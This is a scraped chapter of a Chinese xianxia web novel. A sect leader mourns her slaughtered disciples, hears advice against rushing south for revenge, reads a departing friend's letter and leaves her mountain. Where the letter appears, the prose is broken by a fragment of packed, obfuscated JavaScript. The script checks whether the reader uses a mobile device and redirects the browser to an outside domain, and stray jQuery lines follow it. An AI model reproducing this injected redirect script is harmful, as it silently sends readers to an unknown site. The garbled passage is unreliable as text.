默认冷灰
24号文字
方正启体

3. chapter.3下山

作者:一片桉耶本书字数:K更新时间:
    春雨惊春清谷天,待到梨花落尽时,正值清明,归谕门全门上下两千弟子全部下葬。


    说是下葬,葬的却不是尸体。


    棠溪迟说,尸体太多了,全部下葬不现实,也不正确,浪费时间的同时还占降星洲的山。


    他建议姜涟清去寻各弟子一件物品,尸体就交由他来解决。


    姜涟清没说什么,只是点头应允了。


    左右也不会是什么尊重死者的解决方法,她也不过多询问。


    何况棠溪迟也没说错,三千尸体下葬太恐怖了。


    她从归谕门各处寻来信物,堆在晨雾苑里,于几日前埋于后山。


    梨花落尽,满地斑白间夹着几抹焦褐色,绿树抽新枝,翠色的叶片肆意生长,更旧换新。


    棠溪迟进来时,姜涟清正在石桌上掷梨花钱。


    今日运势如常。


    半月前那似常非常的一卦,现在看去都有些像镜花水月。


    可再感知不到的灵力波动又告诉她,一切都发生了。


    无论如何,归谕门三千弟子都不会回来了。


    “姜门主在干什么?”棠溪迟在她对面坐下,好奇问。


    姜涟清随意拨弄桌上的三枚铜钱:“算卦,要给你算算吗?”


    棠溪迟:“不必了,不过我倒想看看这要怎么算,是什么钱都能算吗?”


    姜涟清点头:“你就是拿铜板来也是一样的。”


    说着,她将三枚梨花钱合在掌心,摇动几下后掷出,等梨花钱自己停下来。


    一反二正。


    有些差异,但总体来说与方才并无二致。


    姜涟清指指铜钱:“就像这样,如何解读就要看造诣了,我归谕门每天都要算今日运势。”


    棠溪迟点点头:“这样啊,那卦术好学吗?”


    姜涟清:“看天赋喽,修道者最重要的还是天赋吧?机缘什么的太偶然了。”


    棠溪迟一笑:“说的也是,我回头试试看,很有意思的东西我就都想学一点。”


    姜涟清心中嗔怪。


    还什么都想学一点,精于一项就有够累人的了,那种顶级到什么都能学会的天赋,这种人太难出世了。


    或许放在民间,努力是可以赶上天赋的,但在修仙界,天赋即天堑。


    有些人当真如此气人,随便一学便顶他人几年苦修。


    “接下来,姜门主有什么打算吗?”棠溪迟问。


    乍然风起,一卷白梨空中舞,似蝴蝶扑翼。


    几片梨白卷到少年竖起的马尾上,平白添了几分娇俏。


    姜涟清:“南下?”


    “哦?”这倒是出了棠溪迟的意料了,他还以为她第一目标会是重建宗门。


    “为什么要南下?”


    姜涟清再度回想起春望口中的妄洲,手指一紧,握成一个拳头。


    姜涟清:“去妄洲,斩邪祟,复仇。”


    棠溪迟闻此言忍不住笑了一声:“姜门主,你真的很不一样。”


    姜涟清不顺着他的话走,直截了当地说出来她留他的另一个目的。


    “棠溪小友既然追寻春望的气息,想必对妄洲邪祟了解一二,不知可否告知于我?此仇不报,涟清愧对师门。”


    棠溪迟倒也理解这种心情,但既然姜涟清发问了,他就好好的,从事实角度出发来谈。


    棠溪迟:“姜门主现在南下,去妄洲,怕是一辈子不得复兴师门了。”


    姜涟清眉头一皱,欲反驳。


    棠溪迟却不紧不慢继续说:“以你现在距化神境一步之遥的修为,的确足矣,可姜门主应该不会天真觉得单精卜术便可报仇雪恨。”


    “说来冒犯,但归谕门惨案最重要的一点,不就是武艺不精?虽说精一门已经非常困难了,可行天下若没有武艺傍身,就和归谕门一样。”


    姜涟清的眉头越蹙越紧。


    “不爱听也听着,你问了就听完。”棠溪迟指节敲了敲桌面,“若本身是剑修符修阵修之类,算先天条件好,卜修不同,你要想报仇,先破了化神期,再勤加练习。”


    “这两点做到以后,恭喜你,就够格去妄洲单挑邪祟了。”


    姜涟清:“你好像很懂。”


    棠溪迟挑眉:“我都游遍九洲了,心里多少有个数,追杀春望纯粹是他给我挚友造成了不小的麻烦,我对行侠仗义其实没兴趣。”


    对行侠仗义没兴趣?


    这一个月来,姜涟清不知要被此人奇怪到多少次。


    这人做着一些善良之举,却惯会口是心非,她二师兄就比他坦诚。


    不说这一点,棠溪迟给她的感觉和二师兄很像。


    说着些不靠谱的,做起事来却不是一般靠谱。


    她脱口而出:“你和我二师兄很像。”


    这下轮到棠溪迟不解了:“吴云贺?和我?何出此言。”


    姜涟清又把梨花钱拿出来把玩了。按着步骤再做一次,而这次却有一枚直直立在桌面。


    静止于面,需重掷。


    “在做好事这一方面很像,不过二师兄可比你坦然多了。”


    棠溪迟听了这答案大笑起来。


    姜涟清在此期间又掷了一次梨花钱。


    一反二正。


    “你笑什么?”


    “没什么,只是想不到在下还能于吴云贺相比。”棠溪迟笑嘻嘻的,“或许确有相像之处,但不是这一处,把我和他放一起,春望绝对选他。”


    姜涟清:“为何?”


    棠溪迟摘下头上的梨花,轻轻一吹。


    梨花落地,少年目光久久不散。


    “妄洲邪祟只有四个,春望其名你已知晓,剩下三位,我也只知其中一个叫秋许。”


    “邪祟附身是他们的选择,各自有各自标准,春望就喜欢吴云贺这种正义凛然之辈,与他截然相反。”


    “说实在的,他们不会轻易附身的,把性命与他人绑在一起……姜门主,你若要南下,或许能得一个答案,为什么是吴云贺的答案。”


    他说完后,除了簌簌风声,便什么也听不到了。


    为什么是二师兄的答案?莫非此事另有原因?


    光听那春望只言片语,确实不能盲目相信。


    姜涟清心下一沉。


    半晌,她问:“你还会在这里待多久?”


    棠溪迟:“明天就走,这不是来和姜门主道别吗?你我二人萍水相逢,就当交个朋友。”


    姜涟清:“好,我知道了,我不会立刻南下的。”


    棠溪迟哈哈两声:“听人劝吃饱饭,我那挚友就死脑筋,真不知拿他怎么办。”


    风声未息,朱绡飘扬,心事亦不休。


    很快,她就要是一个人了。


    *


    翌日一早,棠溪迟就离开了归谕门,只留了一封信,用石头压在晨雾苑的石桌上。


    姜涟清一出门就看见了那份信。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002738|178306||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她几步上前,打开了信。


    致姜门主:


    见字如面,展信佳颜。


    当你看见这封信的时候我应该走出去好远了,若你当在下是个朋友,便再听在下一句废话,武炼之事不可闭门造车,还需多出去走走,恰逢乱世,灾厄四起,降星洲不会意外,你懂我意思吧?


    江湖有缘自会相见,在下先行,愿姜门主得偿所愿。


    落款,棠溪迟。


    姜涟清心中复杂,她再次觉着,棠溪迟与吴云贺相似极了。


    虽论心眼,棠溪迟该是八百个吴云贺不止。


    又说起出门之事,她才发觉,现在没有人会告诉她她年纪太小了。


    二百来岁在修道者中年纪很小吗?


    其实不小的。


    她该出去走走了,这偌大的归谕门只剩下她一个人,好生寂寞。


    站在山口时,她忽得往身后看了一眼。


    下山之路曲折蜿蜒,从记事起再未离开碧云山的姜涟清,花了不到一炷香的时间,就能走出这座她待了二百年的山。


    路不远,而山外的情况,她却从来只能从师兄口中得知。


    该是如何世道,才让师尊她老人家做出如此决断?


    她心中轻声道:师尊,师兄,我下山啦,等我回来。


    山外不比山中,与山中清雅幽静不同,山外的风浑浊,混杂着不知几种气味。


    降星洲的山林并不多,多为高原,因此极易观星。而卜修所学占术,其中最为有名的,叫观天象。


    姜涟清走山下的林子里,瞬间便闻到了半月前最熟悉的气味,血的味道。


    她眸色一凝,悄无声息地往来源靠近。


    树影绰绰,枝繁叶茂,却莫名透着股烈火焚烧后的气息。


    透过树干缝隙,她看见一高大威猛,浑身泛着黑气的妖修,将刀横在一位黑衣少年面前。


    那黑气的模样,几乎与春望的一模一样,却更为低等。


    眼瞧那大刀就要落到少年身上,姜涟清已偷偷召出夜阑珊,准备出手相救。


    谁曾想那少年却丝毫不惧。


    他靠在焦黑的树干上,语气慵懒:“呵呵,你是没有家人吗?”


    刀锋迟疑了。


    那妖修像是被戳到了痛处:“你说谁没有家人呢?你……!”


    少年翻了个白眼,似是在说:没有自知之明的家伙。


    姜涟清欲相救的步伐一并跟着停住了。


    那少年胸前扎着一条小辫子,其余墨发尽数散开,分明是极其妖冶的长相,却将头一歪,眸光轻蔑。


    “你这辈子也算完了,杀完我记得捅自己一刀,别活着浪费灵气。”


    妖修:“?”


    姜涟清:“???”


    有没有一种可能,你现在处于一不小心就会付出生命代价的危难关头?


    怎么会有人在这种时候挑衅别人啊!


    果不其然,妖修顿时被激怒了,一刀横在那截如玉的脖颈上,轻微使劲。


    “我让你把那东西交出来!你到底借不借?别扯些有的没的!”


    “哇塞。”那少年嗤笑一声,一脸欠扁的模样,“要命一条,到底动不动手?”


    “凭什么非要给你?去找医修看看脑子,别得了什么这儿有问题的病跑出来发疯。”他指了指自己的脑袋。


    “老子又不是什么许愿王八,你要我就得给是什么道理?把抢劫说的这么好听。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)